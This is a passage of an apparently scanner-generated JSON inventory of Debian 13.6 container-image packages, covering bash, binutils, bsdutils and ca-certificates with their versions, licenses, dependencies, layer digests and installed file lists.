}, "DependsOn": [ "base-files@13.8+deb13u6", "debianutils@5.23.2" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/bash", "/usr/bin/bashbug", "/usr/bin/clear_console", "/usr/share/debianutils/shells.d/bash", "/usr/share/doc/bash/CHANGES.gz", "/usr/share/doc/bash/COMPAT.gz", "/usr/share/doc/bash/INTRO.gz", "/usr/share/doc/bash/NEWS.gz", "/usr/share/doc/bash/POSIX.gz", "/usr/share/doc/bash/RBASH", "/usr/share/doc/bash/README.Debian.gz", "/usr/share/doc/bash/README.abs-guide", "/usr/share/doc/bash/README.commands.gz", "/usr/share/doc/bash/README.gz", "/usr/share/doc/bash/changelog.Debian.amd64.gz", "/usr/share/doc/bash/changelog.Debian.gz", "/usr/share/doc/bash/changelog.gz", "/usr/share/doc/bash/copyright", "/usr/share/doc/bash/inputrc.arrows", "/usr/share/lintian/overrides/bash", "/usr/share/locale/af/LC_MESSAGES/bash.mo", "/usr/share/locale/bg/LC_MESSAGES/bash.mo", "/usr/share/locale/ca/LC_MESSAGES/bash.mo", "/usr/share/locale/cs/LC_MESSAGES/bash.mo", "/usr/share/locale/da/LC_MESSAGES/bash.mo", "/usr/share/locale/de/LC_MESSAGES/bash.mo", "/usr/share/locale/el/LC_MESSAGES/bash.mo", "/usr/share/locale/en@boldquot/LC_MESSAGES/bash.mo", "/usr/share/locale/en@quot/LC_MESSAGES/bash.mo", "/usr/share/locale/eo/LC_MESSAGES/bash.mo", "/usr/share/locale/es/LC_MESSAGES/bash.mo", "/usr/share/locale/et/LC_MESSAGES/bash.mo", "/usr/share/locale/fi/LC_MESSAGES/bash.mo", "/usr/share/locale/fr/LC_MESSAGES/bash.mo", "/usr/share/locale/ga/LC_MESSAGES/bash.mo", "/usr/share/locale/gl/LC_MESSAGES/bash.mo", "/usr/share/locale/hr/LC_MESSAGES/bash.mo", "/usr/share/locale/hu/LC_MESSAGES/bash.mo", "/usr/share/locale/id/LC_MESSAGES/bash.mo", "/usr/share/locale/it/LC_MESSAGES/bash.mo", "/usr/share/locale/ja/LC_MESSAGES/bash.mo", "/usr/share/locale/ko/LC_MESSAGES/bash.mo", "/usr/share/locale/lt/LC_MESSAGES/bash.mo", "/usr/share/locale/nb/LC_MESSAGES/bash.mo", "/usr/share/locale/nl/LC_MESSAGES/bash.mo", "/usr/share/locale/pl/LC_MESSAGES/bash.mo", "/usr/share/locale/pt/LC_MESSAGES/bash.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/bash.mo", "/usr/share/locale/ro/LC_MESSAGES/bash.mo", "/usr/share/locale/ru/LC_MESSAGES/bash.mo", "/usr/share/locale/sk/LC_MESSAGES/bash.mo", "/usr/share/locale/sl/LC_MESSAGES/bash.mo", "/usr/share/locale/sr/LC_MESSAGES/bash.mo", "/usr/share/locale/sv/LC_MESSAGES/bash.mo", "/usr/share/locale/tr/LC_MESSAGES/bash.mo", "/usr/share/locale/uk/LC_MESSAGES/bash.mo", "/usr/share/locale/vi/LC_MESSAGES/bash.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/bash.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/bash.mo", "/usr/share/man/man1/bash.1.gz", "/usr/share/man/man1/bashbug.1.gz", "/usr/share/man/man1/clear_console.1.gz", "/usr/share/man/man1/rbash.1.gz", "/usr/share/man/man7/bash-builtins.7.gz", "/usr/share/menu/bash" ], "AnalyzedBy": "dpkg" }, { "ID": "binutils@2.44-3", "Name": "binutils", "Identifier": { "PURL": "pkg:deb/debian/binutils@2.44-3?arch=amd64\u0026distro=debian-13.6", "UID": "d1851d5f6bf1add3" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "GFDL-1.3-or-later" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils-common@2.44-3", "binutils-x86-64-linux-gnu@2.44-3", "libbinutils@2.44-3", "libc6@2.41-12+deb13u3", "libgcc-s1@14.2.0-19", "libgprofng0@2.44-3", "libstdc++6@14.2.0-19" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/etc/gprofng.rc", "/usr/bin/gprofng", "/usr/bin/gprofng-archive", "/usr/bin/gprofng-collect-app", "/usr/bin/gprofng-display-html", "/usr/bin/gprofng-display-src", "/usr/bin/gprofng-display-text", "/usr/share/bug/binutils/presubj", "/usr/share/doc/binutils/changelog.Debian.gz", "/usr/share/doc/binutils/copyright", "/usr/share/lintian/overrides/binutils", "/usr/share/man/man1/gprofng-archive.1.gz", "/usr/share/man/man1/gprofng-collect-app.1.gz", "/usr/share/man/man1/gprofng-display-html.1.gz", "/usr/share/man/man1/gprofng-display-src.1.gz", "/usr/share/man/man1/gprofng-display-text.1.gz", "/usr/share/man/man1/gprofng.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "binutils-common@2.44-3", "Name": "binutils-common", "Identifier": { "PURL": "pkg:deb/debian/binutils-common@2.44-3?arch=amd64\u0026distro=debian-13.6", "UID": "187222e6920af349" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "GFDL-1.3-or-later" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/share/doc/binutils-common/changelog.Debian.gz", "/usr/share/doc/binutils-common/copyright", "/usr/share/doc/binutils/NEWS.gz", "/usr/share/doc/binutils/README.cross.gz", "/usr/share/doc/binutils/bfd/ChangeLog.gz", "/usr/share/doc/binutils/bfd/PORTING.gz", "/usr/share/doc/binutils/bfd/TODO.gz", "/usr/share/doc/binutils/changelog.gz", "/usr/share/doc/binutils/gas/ChangeLog.gz", "/usr/share/doc/binutils/gas/NEWS.gz", "/usr/share/doc/binutils/gprof/ChangeLog.gz", "/usr/share/doc/binutils/gprof/TEST.gz", "/usr/share/doc/binutils/gprof/TODO.gz", "/usr/share/doc/binutils/gprof/bbconv.pl", "/usr/share/doc/binutils/ld/ChangeLog.gz", "/usr/share/doc/binutils/ld/NEWS.gz", "/usr/share/doc/binutils/ld/TODO.gz", "/usr/share/lintian/overrides/binutils-common", "/usr/share/locale/bg/LC_MESSAGES/binutils.mo", "/usr/share/locale/bg/LC_MESSAGES/gprof.mo", "/usr/share/locale/bg/LC_MESSAGES/ld.mo", "/usr/share/locale/ca/LC_MESSAGES/binutils.mo", "/usr/share/locale/da/LC_MESSAGES/bfd.mo", "/usr/share/locale/da/LC_MESSAGES/binutils.mo", "/usr/share/locale/da/LC_MESSAGES/gprof.mo", "/usr/share/locale/da/LC_MESSAGES/ld.mo", "/usr/share/locale/da/LC_MESSAGES/opcodes.mo", "/usr/share/locale/de/LC_MESSAGES/gprof.mo", "/usr/share/locale/de/LC_MESSAGES/ld.mo", "/usr/share/locale/de/LC_MESSAGES/opcodes.mo", "/usr/share/locale/eo/LC_MESSAGES/gprof.mo", "/usr/share/locale/es/LC_MESSAGES/bfd.mo", "/usr/share/locale/es/LC_MESSAGES/binutils.mo", "/usr/share/locale/es/LC_MESSAGES/gas.mo", "/usr/share/locale/es/LC_MESSAGES/gprof.mo", "/usr/share/locale/es/LC_MESSAGES/ld.mo", "/usr/share/locale/es/LC_MESSAGES/opcodes.mo", "/usr/share/locale/fi/LC_MESSAGES/bfd.mo", "/usr/share/locale/fi/LC_MESSAGES/binutils.mo", "/usr/share/locale/fi/LC_MESSAGES/gas.mo", "/usr/share/locale/fi/LC_MESSAGES/gprof.mo", "/usr/share/locale/fi/LC_MESSAGES/ld.mo", "/usr/share/locale/fi/LC_MESSAGES/opcodes.mo", "/usr/share/locale/fr/LC_MESSAGES/bfd.mo", "/usr/share/locale/fr/LC_MESSAGES/binutils.mo", "/usr/share/locale/fr/LC_MESSAGES/gas.mo", "/usr/share/locale/fr/LC_MESSAGES/gprof.mo", "/usr/share/locale/fr/LC_MESSAGES/ld.mo", "/usr/share/locale/fr/LC_MESSAGES/opcodes.mo", "/usr/share/locale/ga/LC_MESSAGES/gprof.mo", "/usr/share/locale/ga/LC_MESSAGES/ld.mo", "/usr/share/locale/ga/LC_MESSAGES/opcodes.mo", "/usr/share/locale/hr/LC_MESSAGES/bfd.mo", "/usr/share/locale/hr/LC_MESSAGES/binutils.mo", "/usr/share/locale/hu/LC_MESSAGES/gprof.mo", "/usr/share/locale/id/LC_MESSAGES/bfd.mo", "/usr/share/locale/id/LC_MESSAGES/binutils.mo", "/usr/share/locale/id/LC_MESSAGES/gas.mo", "/usr/share/locale/id/LC_MESSAGES/gprof.mo", "/usr/share/locale/id/LC_MESSAGES/ld.mo", "/usr/share/locale/id/LC_MESSAGES/opcodes.mo", "/usr/share/locale/it/LC_MESSAGES/binutils.mo", "/usr/share/locale/it/LC_MESSAGES/gprof.mo", "/usr/share/locale/it/LC_MESSAGES/ld.mo", "/usr/share/locale/it/LC_MESSAGES/opcodes.mo", "/usr/share/locale/ja/LC_MESSAGES/bfd.mo", "/usr/share/locale/ja/LC_MESSAGES/binutils.mo", "/usr/share/locale/ja/LC_MESSAGES/gas.mo", "/usr/share/locale/ja/LC_MESSAGES/gprof.mo", "/usr/share/locale/ja/LC_MESSAGES/ld.mo", "/usr/share/locale/ka/LC_MESSAGES/bfd.mo", "/usr/share/locale/ka/LC_MESSAGES/gprof.mo", "/usr/share/locale/ka/LC_MESSAGES/ld.mo", "/usr/share/locale/ms/LC_MESSAGES/bfd.mo", "/usr/share/locale/ms/LC_MESSAGES/gprof.mo", "/usr/share/locale/nl/LC_MESSAGES/gprof.mo", "/usr/share/locale/nl/LC_MESSAGES/opcodes.mo", "/usr/share/locale/pt/LC_MESSAGES/bfd.mo", "/usr/share/locale/pt/LC_MESSAGES/binutils.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/gprof.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/ld.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/opcodes.mo", "/usr/share/locale/ro/LC_MESSAGES/bfd.mo", "/usr/share/locale/ro/LC_MESSAGES/binutils.mo", "/usr/share/locale/ro/LC_MESSAGES/gas.mo", "/usr/share/locale/ro/LC_MESSAGES/gprof.mo", "/usr/share/locale/ro/LC_MESSAGES/ld.mo", "/usr/share/locale/ro/LC_MESSAGES/opcodes.mo", "/usr/share/locale/ru/LC_MESSAGES/bfd.mo", "/usr/share/locale/ru/LC_MESSAGES/binutils.mo", "/usr/share/locale/ru/LC_MESSAGES/gas.mo", "/usr/share/locale/ru/LC_MESSAGES/gprof.mo", "/usr/share/locale/ru/LC_MESSAGES/ld.mo", "/usr/share/locale/rw/LC_MESSAGES/bfd.mo", "/usr/share/locale/rw/LC_MESSAGES/binutils.mo", "/usr/share/locale/rw/LC_MESSAGES/gas.mo", "/usr/share/locale/rw/LC_MESSAGES/gprof.mo", "/usr/share/locale/sk/LC_MESSAGES/binutils.mo", "/usr/share/locale/sr/LC_MESSAGES/bfd.mo", "/usr/share/locale/sr/LC_MESSAGES/binutils.mo", "/usr/share/locale/sr/LC_MESSAGES/gprof.mo", "/usr/share/locale/sr/LC_MESSAGES/ld.mo", "/usr/share/locale/sr/LC_MESSAGES/opcodes.mo", "/usr/share/locale/sv/LC_MESSAGES/bfd.mo", "/usr/share/locale/sv/LC_MESSAGES/binutils.mo", "/usr/share/locale/sv/LC_MESSAGES/gas.mo", "/usr/share/locale/sv/LC_MESSAGES/gprof.mo", "/usr/share/locale/sv/LC_MESSAGES/ld.mo", "/usr/share/locale/sv/LC_MESSAGES/opcodes.mo", "/usr/share/locale/tr/LC_MESSAGES/bfd.mo", "/usr/share/locale/tr/LC_MESSAGES/binutils.mo", "/usr/share/locale/tr/LC_MESSAGES/gas.mo", "/usr/share/locale/tr/LC_MESSAGES/gprof.mo", "/usr/share/locale/tr/LC_MESSAGES/ld.mo", "/usr/share/locale/tr/LC_MESSAGES/opcodes.mo", "/usr/share/locale/uk/LC_MESSAGES/bfd.mo", "/usr/share/locale/uk/LC_MESSAGES/binutils.mo", "/usr/share/locale/uk/LC_MESSAGES/gas.mo", "/usr/share/locale/uk/LC_MESSAGES/gprof.mo", "/usr/share/locale/uk/LC_MESSAGES/ld.mo", "/usr/share/locale/uk/LC_MESSAGES/opcodes.mo", "/usr/share/locale/vi/LC_MESSAGES/bfd.mo", "/usr/share/locale/vi/LC_MESSAGES/binutils.mo", "/usr/share/locale/vi/LC_MESSAGES/gprof.mo", "/usr/share/locale/vi/LC_MESSAGES/ld.mo", "/usr/share/locale/vi/LC_MESSAGES/opcodes.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/bfd.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/binutils.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/gas.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/ld.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/opcodes.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/binutils.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/ld.mo", "/usr/share/man/man1/addr2line.1.gz", "/usr/share/man/man1/ar.1.gz", "/usr/share/man/man1/as.1.gz", "/usr/share/man/man1/c++filt.1.gz", "/usr/share/man/man1/elfedit.1.gz", "/usr/share/man/man1/gprof.1.gz", "/usr/share/man/man1/ld.bfd.1.gz", "/usr/share/man/man1/nm.1.gz", "/usr/share/man/man1/objcopy.1.gz", "/usr/share/man/man1/objdump.1.gz", "/usr/share/man/man1/ranlib.1.gz", "/usr/share/man/man1/readelf.1.gz", "/usr/share/man/man1/size.1.gz", "/usr/share/man/man1/strings.1.gz", "/usr/share/man/man1/strip.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "binutils-x86-64-linux-gnu@2.44-3", "Name": "binutils-x86-64-linux-gnu", "Identifier": { "PURL": "pkg:deb/debian/binutils-x86-64-linux-gnu@2.44-3?arch=amd64\u0026distro=debian-13.6", "UID": "90de7ad81c5a87e6" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils-common@2.44-3", "libbinutils@2.44-3", "libc6@2.41-12+deb13u3", "libctf-nobfd0@2.44-3", "libctf0@2.44-3", "libjansson4@2.14-2+b3", "libsframe1@2.44-3", "libzstd1@1.5.7+dfsg-1", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/bin/x86_64-linux-gnu-addr2line", "/usr/bin/x86_64-linux-gnu-ar", "/usr/bin/x86_64-linux-gnu-as", "/usr/bin/x86_64-linux-gnu-c++filt", "/usr/bin/x86_64-linux-gnu-elfedit", "/usr/bin/x86_64-linux-gnu-gprof", "/usr/bin/x86_64-linux-gnu-ld.bfd", "/usr/bin/x86_64-linux-gnu-nm", "/usr/bin/x86_64-linux-gnu-objcopy", "/usr/bin/x86_64-linux-gnu-objdump", "/usr/bin/x86_64-linux-gnu-ranlib", "/usr/bin/x86_64-linux-gnu-readelf", "/usr/bin/x86_64-linux-gnu-size", "/usr/bin/x86_64-linux-gnu-strings", "/usr/bin/x86_64-linux-gnu-strip", "/usr/lib/x86_64-linux-gnu/bfd-plugins/libdep.so", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.x", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xd", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xde", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xder", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xdwer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xs", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xsc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xsce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xscer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xse", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xser", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xsw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xswe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xswer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf32_x86_64.xwer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.x", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xd", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xde", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xder", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xdwer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xs", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xsc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xsce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xscer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xse", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xser", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xsw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xswe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xswer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_i386.xwer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.x", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xd", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xde", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xder", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xdwer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xs", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xsc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xsce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xscer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xse", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xser", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xsw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xswe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xswer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_iamcu.xwer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.x", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xd", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdcer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xde", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xder", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xdwer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xs", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xsc", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xsce", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xscer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xse", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xser", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xsw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xswe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xswer", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xw", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xwe", "/usr/lib/x86_64-linux-gnu/ldscripts/elf_x86_64.xwer", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.x", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xa", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xer", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pe.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.x", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xa", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xbn", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xe", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xer", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xn", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xr", "/usr/lib/x86_64-linux-gnu/ldscripts/i386pep.xu", "/usr/lib/x86_64-linux-gnu/ldscripts/stamp", "/usr/share/doc/binutils/test-summary-amd64.gz", "/usr/share/lintian/overrides/binutils-x86-64-linux-gnu" ], "AnalyzedBy": "dpkg" }, { "ID": "bsdutils@1:2.41-5", "Name": "bsdutils", "Identifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "5843733a461e6ce1" }, "Version": "2.41", "Release": "5", "Epoch": 1, "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.41", "SrcRelease": "5", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "LGPL-2.1-or-later", "public-domain", "BSD-4-Clause", "MIT", "ISC", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "BSD-2-Clause", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Chris Hofstaedtler \u003czeha@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/logger", "/usr/bin/renice", "/usr/bin/script", "/usr/bin/scriptlive", "/usr/bin/scriptreplay", "/usr/bin/wall", "/usr/share/bash-completion/completions/logger", "/usr/share/bash-completion/completions/renice", "/usr/share/bash-completion/completions/script", "/usr/share/bash-completion/completions/scriptlive", "/usr/share/bash-completion/completions/scriptreplay", "/usr/share/bash-completion/completions/wall", "/usr/share/doc/bsdutils/NEWS.Debian.gz", "/usr/share/doc/bsdutils/changelog.Debian.gz", "/usr/share/doc/bsdutils/changelog.gz", "/usr/share/doc/bsdutils/copyright", "/usr/share/lintian/overrides/bsdutils", "/usr/share/man/man1/logger.1.gz", "/usr/share/man/man1/renice.1.gz", "/usr/share/man/man1/script.1.gz", "/usr/share/man/man1/scriptlive.1.gz", "/usr/share/man/man1/scriptreplay.1.gz", "/usr/share/man/man1/wall.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "ca-certificates@20250419", "Name": "ca-certificates", "Identifier": { "PURL": "pkg:deb/debian/ca-certificates@20250419?arch=all\u0026distro=debian-13.6", "UID": "80d358ddeb1b09c3" }, "Version": "20250419", "Arch": "all", "SrcName": "ca-certificates", "SrcVersion": "20250419", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "MPL-2.0" ], "Maintainer": "Julien Cristau \u003cjcristau@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debconf@1.5.91", "openssl@3.5.6-1~deb13u2" ], "Layer": { "DiffID": "sha256:6c3d72b3145b3e6fd1cb9f40bec451653da28422c27bd821f217cffbf8e2ce56" }, "InstalledFiles": [ "/usr/sbin/update-ca-certificates", "/usr/share/ca-certificates/mozilla/ACCVRAIZ1.crt", "/usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM.crt", "/usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM_SERVIDORES_SEGUROS.crt", "/usr/share/ca-certificates/mozilla/ANF_Secure_Server_Root_CA.crt", "/usr/share/ca-certificates/mozilla/Actalis_Authentication_Root_CA.crt", "/usr/share/ca-certificates/mozilla/AffirmTrust_Commercial.crt", "/usr/share/ca-certificates/mozilla/AffirmTrust_Networking.crt", "/usr/share/ca-certificates/mozilla/AffirmTrust_Premium.crt", "/usr/share/ca-certificates/mozilla/AffirmTrust_Premium_ECC.crt", "/usr/share/ca-certificates/mozilla/Amazon_Root_CA_1.crt", 